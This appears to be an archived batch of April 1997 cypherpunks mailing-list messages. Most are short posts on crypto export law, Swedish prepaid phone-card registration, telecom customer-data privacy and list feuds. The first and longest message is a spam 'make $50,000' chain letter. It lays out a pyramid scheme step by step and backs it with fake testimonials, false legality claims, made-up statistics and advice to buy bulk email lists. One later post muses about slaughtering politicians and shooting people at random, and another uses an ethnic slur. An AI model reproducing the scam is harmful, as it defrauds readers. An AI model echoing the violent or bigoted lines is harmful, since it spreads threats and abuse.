Date: Fri, 11 Apr 1997 10:16:33 -0700 (PDT)
Subject: DON'T DELETE!!!
Message-ID: <199704111711.KAA25528@aone.com>
MIME-Version: 1.0
Content-Type: text/plain





I usually delete email like this without even thinking but I
had some extra time when I got this and I'm glad I did!  This
is not a pyramid scheme or chain letter.  It's legitimate 
marketing of legitimate products.  You've got nothing to lose
by reading it.  Lots of people are making money on the internet.
Why shouldn't you be one of them? 
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen financial
problems.  I owed my family, friends, and creditors over $35,000.  The
economy was taking a toll on my business and I just couldn't seem to
make ends meet.  I had to refinance and borrow against my home to
support my family and struggling business.  I truly believe it was
wrong for me to be in debt like this.  AT THAT MOMENT something
significant happened in my life and I am writing to share my experience
in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes.  Here
was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
start, without putting me further in debt.  After I got a pencil and
paper and figured it out, I would at least get my money back.  After
determining that the program is LEGAL and NOT A CHAIN LETTER, I decided
"WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need any
money for printing to send out the program, only the cost to fulfill my
orders.  I am telling you like it is, I hope it doesn't turn you off,
but I promised myself that I would not "rip-off" anyone, no matter how
much money it cost me!

A good program to help do this is Ready Aim Fire, 
an email extracting and mass mail program 
@ http://microsyssolutions.com/raf/

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you read
the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 
TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  
SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making 
$50,000 in 20 to 90 days was done.  By January 30th, I had received 
196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU 
MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN 
TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  
ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU
WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
96 more than I needed.  So I sat back and relaxed.  By March 19th, of
my emailing of 10,000, I received $58,000 with more coming in every
day.

I paid off  ALL my debts and bought a much needed new car.  Please take
time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work,
but you must follow it EXACTLY!  Especially the rules of not trying to
place your name in a different place.  It doesn't work, you'll lose out
on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It really
is a great opportunity with little cost or risk to you.  If you choose
to participate, follow the program and you will be on your way to
financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

					Sincerely,
					Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled
up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

					Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free lunch
in life.  You get out of life what you put into it.'  Through trial and
error and a somewhat slow frustrating start, I finally figured it out.
The program works very well, I just had to find the right target group
of people to email it to.  So far this year, I have made over $63,000
using this program.  I know my dad would have been very proud of me."

					Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business for
ten years.  Then in 1979 my business began falling off.  I was doing
the same things that were previously successful for me, but it wasn't
working.  Finally, I figured it out.  It wasn't me, it was the economy.
Inflation and recession had replaced the stable economy that had been
with us since 1945.  I don't have to tell you what happened to the
unemployment rate...because many of you know from first hand experience.
There were more failures and bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
POORER."  The traditional methods of making money will never allow you
to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US and
overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of
this exciting program to everyone that you can think of.  One of the
people you send this to may send out 50,000...and your name will be on
every one of them!.  Remember though, the more you send out, the more
potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take
a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested.  Any
doubts you have will vanish when your first orders come in.  IT WORKS!

					Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a
5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU 
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE 
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe 
me, many people will do that and more!  By the way, your cost to participate 
in this is practically nothing.  You obviously already have an internet
connection and email is FREE!!!  REPORT#3 will show you the best 
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold throughout Multi-level Methods by the
mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
500,000 millionaires in the US, 20% (100,000) made their fortune in the
last several years in MLM.  Moreover, statistics show 45 people become
millionaires everyday through Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a SELF-
           ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
           person listed for the SPECIFIC REPORT.  International orders
           should also include $1 extra for postage (Be sure and wrap
           the $5 so it isn't visible).  It is very essential that
           you specify the NAME and NUMBER of the report requested
           to the person you are ordering from.  You will need ALL FOUR
           4 REPORTS because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
           instructions say.  IMPORTANT:  Always provide same-day
           service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will tell
           you the best methods of bulk emailing and acquiring email
           lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can encourage
           them to take  advantage of this  fabulous  money-making
           opportunity.  That's what I did.  And they love me now, more
           than ever.  Then, email to anyone and everyone!  Use your
           imagination!  You can get email addresses from companies on
           the internet who specialize in email mailing lists.  These
           are very cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

Big D Enterprises
Po Box 2626
Longview, Wa 98632
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

STAR Enterprises
PO Box 271813
Tampa, FL 33688-1813
________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Success Concepts
Rt. Box 430L
Hendersonville, NC 28792
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Prosperity Group
PO Box 2005
Englewood, FL 34295-2005
________________________________________________________

CONCLUSION

.I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say
"NO" than "YES", and this is the question that you must answer.  Will
YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will
change.  Please re-read this material, this is a special opportunity.
If you have any questions, please feel free to write to the sender of
this information.  You will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably
received chain letters, asking you to send money, on faith, but getting
NOTHING in return, NO product what-so-ever!  Not only are chain letters
illegal, but the risk of someone breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material,
the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful
to you in any other business decisions you make in the years ahead.
You are also buying the rights to reprint all of the REPORTS, which
will be ordered from you by those to whom you mail this program.  The
concise one and two page REPORTS you will be buying can easily be
reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no way
that I could not get enough orders to at least get my money back.  BOY,
was I ever surprised when I found my medium sized post office box
crammed with orders!  I will make more money this year than any ten
years of my life before."

					Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out
the product/service to comply with US Postal and Lottery laws.  Title
18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.	Name your new company. You can use your own name if you desire.

2.	Get a post office box (preferred).

3.	Edit the names and addresses on the program. You must remember,
        your name and address go next to REPORT #1 and the others all
        move down one, with the fourth one being bumped OFF the list.

4.	Obtain as many email addresses as possible to send until you
        receive the information on mailing list companies in REPORT #3.

5.	Decide on the number of programs you intend to send out.  The
        more you send, and the quicker you send them, the more money
        you will make.

6.	After mailing the programs, get ready to fill the orders.

7.	Copy the four 4 REPORTS so you are able to sent them out as
        soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
        SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.	Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple
of weeks later you should receive at least 100 orders for REPORT #2, if
you don't, send out more programs until you do.  Once you have received
100 or more orders for REPORT #2, (take a deep breath) you can sit back
and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
participated in the program and reached the above GUARANTEES-ALL have
reached their $50,000 goal.  Also, remember, every time your name is
moved down the list you are in front of a different REPORT, so you can
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."


*******************************************************************
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the fastest and easiest way to send personalized email messages
to your customers, subscribers, leads or friends.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMangler <tmg@dev.null>
Date: Fri, 11 Apr 1997 10:26:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Grumpy Old Cypherpunks
Message-ID: <199704111724.LAA08482@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote: 
> 
> Toto, thanks for your thoughtful comments.  Your touching defense of
> Tim is interesting.

  I don't think it's so much a case of defending Tim as it is that
Toto is an old mangy dog who is losing his eyesight and biting
at everything that comes into his limited range of vision.
 
> Contrary to what you might think,

  Assuming what others are assuming gets to be a nasty little cyle
that leads you to sitting alone with two beers in front of you,
arguing with yourself and finally getting mad enough at the *other*
guy to drink *his* beer, too.

> I really don't have anything against
> Tim May, and I do go read things he (or others) have written in the
> past. 

  Apology accepted.

> As to his legacy, and the legacy of cypherpunks in general, that
> remains to be seen.

  The "legacy" already exists, whether it is recognized in the future,
or not. Even a fruit fly has a legacy which is important to certain
scientists.
 
>  None of the cypherpunks are in a position to be
> able to judge very well, because they are so close to their favorite
> issues that of course they look very large.

  Group discounts should be used for saving airfare, and not for 
lumping people (especially anarchists) into one mass and discounting
their thoughts and opinions.
  I get tired of hearing how an individual's ability to 'judge' an 
issue increases with his lessening knowledge of it, or interest in
it. Perhaps we need more retarded legislators and world-rulers in 
order to properly test this theory.

>  But it isn't a certainty
> that any of the predictions of crypto-anarchy, for example, will come
> to pass.  It is possible that the surveillance state will win. 

  Spank yourself, throw some cold water on your face, and take a look
around you. The average person is not allowed to move an inch without
taking a number and/or waiting for it to be called.
  "What were once vices, are now habits."
  The medium *is* the message, and today's mental medium is DoubleSpeak.
The age-old "number's racket" is no longer a "criminal enterprise," but
is, rather, a "government sponsered charitable institution" (or was; I
have no idea what the current DoubleSpeak for it is).
   My personal view is that the war on DoubleSpeak was lost when we 
allowed Ronnie Rayguns & Co. to name a weapon of mass destruction "The
Peacekeeper." If we had risen up and slaughtered a few hundred 
politicians at that time, then mental freedom would have had a slim
chance of survival.
  Anyone who claims that 1984 hasn't arrived and thrived because we
do not yet have loudspeakers on the streetcorners blaring, "You are
not getting fucked by the government...You are not getting fucked by
the government..."

  The surveillance state has already won, the only question is whether
or not there will be a revolution.
  For God's sake, man, take a look around you. The surveillance state
has ruled for years in the places it counts most--in the medium and
in the message. The government is only solidifying ground already held
with their further intrusions into areas of freedom and privacy, as well
as extending their reach into the latest medium, the Net/WWW.

  Media content is ruled by the few and the powerful, and the masses
are ruled by the media.
  You are permitted to speak out against government policy only if 
you have Freedom of Speech Permit #900873.7b and post a $50,000 
Non-Incitement to Terrorism bond.

  The battle for freedom and privacy is mostly about governments and
corporations fighting over each other having access to *their* secrets,
not the common man and woman's secrets. Their fight over the common
people is only whether they will be controlled via key escrow or
cookies.
  Name any issue and you will find it surrounded by a plethora of
laws regulating when, where, and how it can be spoken about.

  The only thing that makes Jim Bell (the lunatic, speed-freak, drug
addicted tax-dodger whose convictions seem to have mostly only taken 
place within the confines of media-reality) special is that he spoke
loud enough to get some government and media attention.
  Most people are like dogs with their tails between their legs, who
take vain pride in the decent, law-abiding "character" they display
in whimpering, somehow managing to forget that the reason they no
longer bark is because they were beaten every time they did so.
 

> More
> likely, of course, the world will go in a direction that will surprise
> all of us (except that Tim will tell us he considered the possibility
> in a paper he wrote back in the 1970s).  What will look portentious and
> what will look pretentious 10 years from now is hard to judge...
> 
> Personally, I am in favor of absolute personal privacy, but I don't
> define that to include economic dealings -- as far as I am concerned,
> business or economic privacy is at a lower level of concern than
> personal privacy.

  And having a small burning rod shoved up your ass is "at a lower level
of concern" than having a large one shoved up there?
  Are you being held hostage in a tower of intellect?

>  This puts me at odds with the prevailing
> libertarian bent of cypherpunks, of course.  However, I was thrown off
> my stride by the high level of downright hostility so common on this
> list.  Like most people, I tend to respond in kind.

  This list is one of the few places where the dogs still bark (and
bite, as well). Smarmy "gumming" of the logic and opinions of others
on this list will not get you many doggie bones.
  My personal pet peeve is the fucking happy faces that abound in
posts everywhere. If you can't figure out whether a comment is an
insult or humor, then take it as an insult, because any professed
difference between the two is only an illusion.
  I suppose that it is only a matter of time before I walk into a
happy-face factory and start blowing people away at random. A barking
gun is only the final result of years of govement and societal 
suppression of our natural instinct to bark loud and long when
intruders invade our personal space.
  Or perhaps I will walk into a happy-face factory and just bark
at them. If they fail to recognize the humor in my actions, then
I suppose that I will have to grab a mask and "put on a happy face."
  After all, the medium is the message.

TruthMangler





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 11 Apr 1997 11:41:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
Message-ID: <199704111841.LAA21552@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Comments: Authenticated sender is <rwright@adnetsol.com>
From: "Ross Wright" <rwright@adnetsol.com>
Organization: King Media and RW Marketing
To: cypherpunks@toad.com, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 10 Apr 1997
Subject: Re: Reporters, Declan, Columns, Articles, and Angles

On or About 10 Apr 97 at 19:09, Dr.Dimitri Vulis KOTM wrote:

> "Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> <doesn't matter what, 3 times>
> 
> That's $3 for Sinn F\'ein.  Thank you, Phil.
> 
> P.S. Fuck your Queen.

Free Rule for Ireland!

###

So you're giving it _all_ to the Pope?

Typical Mick thinking!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Fri, 11 Apr 1997 10:10:17 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Politics This Week [Tamper Proof Device?]
Message-ID: <3.0.1.32.19970411123407.007bd210@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>From: The Economist <null@postbox.co.uk>
>Subject: Politics This Week (April 4th - April 10th 1997)
>Date: Thu, 10 Apr 1997 22:01:13 +0100

>Also available at http://www.economist.com/
>********************************************************************


[SNIP]

>A Thunderbolt ground-attack aircraft and its bomb-load vanished over
>Arizona. Had its pilot defected?

[SNIP]

>*****

>If you find our summaries service useful, please tell your friends.
>Invite them to subscribe by forwarding this e-mail to them.
>
>
>
>*************************************************************************
>This is a free newsletter published by The Economist newspaper.   To find
out 
>where best to direct queries to The Economist, send a blank e-mail message
>to help@economist.com
>
>If you are having problems receiving this list, send an e-mail explaining
>the difficulty you are having to list-support@economist.com
>
>To  cancel  your  subscription,  send  an  e-mail  with  the  message 
"leave 
>economist-politics"  to  newscaster@postbox.co.uk    
>To start receiving Politics This Week, send an e-mail with the message
>"join economist-politics" to newscaster@postbox.co.uk
>Alternatively, you can cancel your subscription (or subscribe at any time)by
>visiting http://www.economist.com/mailing/

-----BEGIN PGP SIGNATURE-----
Version: 4.5

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FqDNBtG8tcAsvg2BcEBSpd6MdIFG1H/CsMr3/fwOvzQSoPXQvPKyJI3P4e/t5TWJ
4f6pRtRNY4qdbX/KRvZUjxFMt104K37UO5wrlLUjdmvQy0cMEP5sS8tuXOe/qc9o
HarpYVn/R8c=
=nXnL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 11 Apr 1997 13:23:08 -0700 (PDT)
To: camcc@abraxis.com
Subject: Re: Politics This Week [Tamper Proof Device?]
In-Reply-To: <3.0.1.32.19970411123407.007bd210@smtp1.abraxis.com>
Message-ID: <199704112022.NAA06506@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Alec writes:
> >From: The Economist <null@postbox.co.uk>
> >Subject: Politics This Week (April 4th - April 10th 1997)
> >Date: Thu, 10 Apr 1997 22:01:13 +0100
> 
> >Also available at http://www.economist.com/
> >********************************************************************
> 
> 
> [SNIP]
> 
> >A Thunderbolt ground-attack aircraft and its bomb-load vanished over
> >Arizona. Had its pilot defected?


I used to live and work for the Forest Service in northern Az.
There's a LOT of empty and semi-empty space there.  It's not at all
inconceiveable that a jet fighter could go down and not be found.

It'd be a lot more suspicious if it disapperaed in the middle
of say New Jersey.


-- 
   Eric Murray  ericm@lne.com  Network security and encryption consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 11 Apr 1997 14:40:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NoneMondex
Message-ID: <199704112140.OAA27286@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


There's a rumor that Timothy Mayhem sells his dead relatives as 
fertilizer as they constitute the best shit in California.

          |||||||||||
           \~0/ \0~/
           <  (0)  >
      --oOO--/|||\--OOo- Timothy Mayhem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 11 Apr 1997 15:42:08 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cryptography Export
In-Reply-To: <19970408124924.5846.qmail@squirrel.owl.de>
Message-ID: <3.0.1.32.19970411151006.005ddf28@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:49 PM 4/8/97 -0000, a Potential Postal Worker wrote:
>  I can't believe that corporations pay legal experts huge
>sums of money to receive advice telling them to bend over
>and spread 'em for the government's bullshit legislation.

_Corporations_ have to.  Unlike individuals or partnership businesses,
a corporation is a legal fiction chartered by the government,
and has to do what Big Daddy says or it'll be informed that
it no longer exists.  (The lawyers can point out that it's
obviously more complicated than that, but that's the basic idea.)
If they don't like it, they don't have to be a corporation.

>  If the government wants to prosecute me for exporting
>encryption code, then they had best be prepared to 
>prosecute _all_ exporters of every single item that
>involves altering data that can be re-converted on 
>the other end to render the output intelligible.

Doesn't work that way.  Unless you can make a very strong case that
they're singling out _you_ because you're black/female/Republican/Jewish,
it's extremely difficult to say "you can't prosecute me because you
didn't prosecute _him_ first" - otherwise there'd be no way to 
prosecute the first person.

>  I not only already have the paperwork set up to 
>defy any potential restraining orders that may 
>arise, but I have a judge that is fully prepared
>to institute the necessary proceedings to validate

If you're not just trolling (:-), here's one piece of advice -
please don't go in with a case that's too weak, whether
it's because you're underfunded, have other problems affecting
the overall case results, don't realize how much abuse you'll be taking,
or look too much like a Waco for the average mundane jury,
because every case the Good Guys lose sets bad precedents.


>  If the government thinks that they can legislate
>the thickness of condoms available for export,

The FDA already regulates testosterone and oxygen.
Ain't gonna get mine until they.....

>standing on legal precedents that are as solid as
>the Rock of Gibralter. (Think about it.)

GibraltAr ?  It's full of caves, tunnels, and other holes.....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 11 Apr 1997 15:41:00 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Swedish Narcotics Police Demand Telephone Card Database
Message-ID: <v03102803af7468aac645@[17.219.103.108]>
MIME-Version: 1.0
Content-Type: text/plain


According to an article in the Swedish newspaper, Svenska Dagbladet
<http://www.svd.se/svd/ettan/ettan_97-04-11/narkotikapolisen.html>,
the Stockholm narcotics police has asked the national police and
State Prosecutor to require that purchasers of a new telephone
card used for mobile telephones be registered, and that the police
have access to the purchaser database. "Since the card is purchased
anonymously, the owner cannot be determined, which makes wiretapping
impossible." The new card is pre-paid with 250 or 550 kroner (very
roughly $32 or $70) air time and a telephone number, but does not
require any other subscription. The card can be used on an ordinary
GSM mobile telephone "which can be borrowed or stolen" and can be
re-loaded when the air time runs out.

A similar card is in use in France. However, the French security
service made the government force the telephone company to require
that purchasers show an id card when tbey purchase the card.

Quickly translated and summarized by

Martin Minow minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 11 Apr 1997 15:54:07 -0700 (PDT)
To: harka@nycmetro.com
Subject: Re: EPIC Alert 4.05
In-Reply-To: <TCPSMTP.17.4.9.4.31.36.2780269260.1599073@nycmetro.com>
Message-ID: <3.0.1.32.19970411154504.005df720@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>the privacy of information gathered about consumers by telephone companies.
>The recommendations cover Customer Proprietary Network Information (CPNI).
>CPNI is the information that is gathered by phone companies in the process
>of delivering services, such as numbers called, length of calls, and times
>calls were made.  The FCC is currently conducting a rulemaking on CPNI
>under the Telecommunications Act of 1996.

Out of curiousity, was this before or after CALEA passed?
It would be interesting if the CDA superseded the "legitimate needs of 
law enforcement" laws, though it probably has enough weasel words
to prevent that from happening...

>The law limits the use and disclosure of CPNI information:
>
>    a telecommunications carrier that receives or obtains
>    customer proprietary network information by virtue of its
>    provision of a telecommunications service shall only use,
>    disclose, or permit access to individually identifiable
>    customer proprietary network information in its provision of
>    (A) the telecommunications service from which such
>    information is derived, or (B) services necessary to, or used
>    in, the provision of such telecommunications service,
>    including the publishing of directories.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
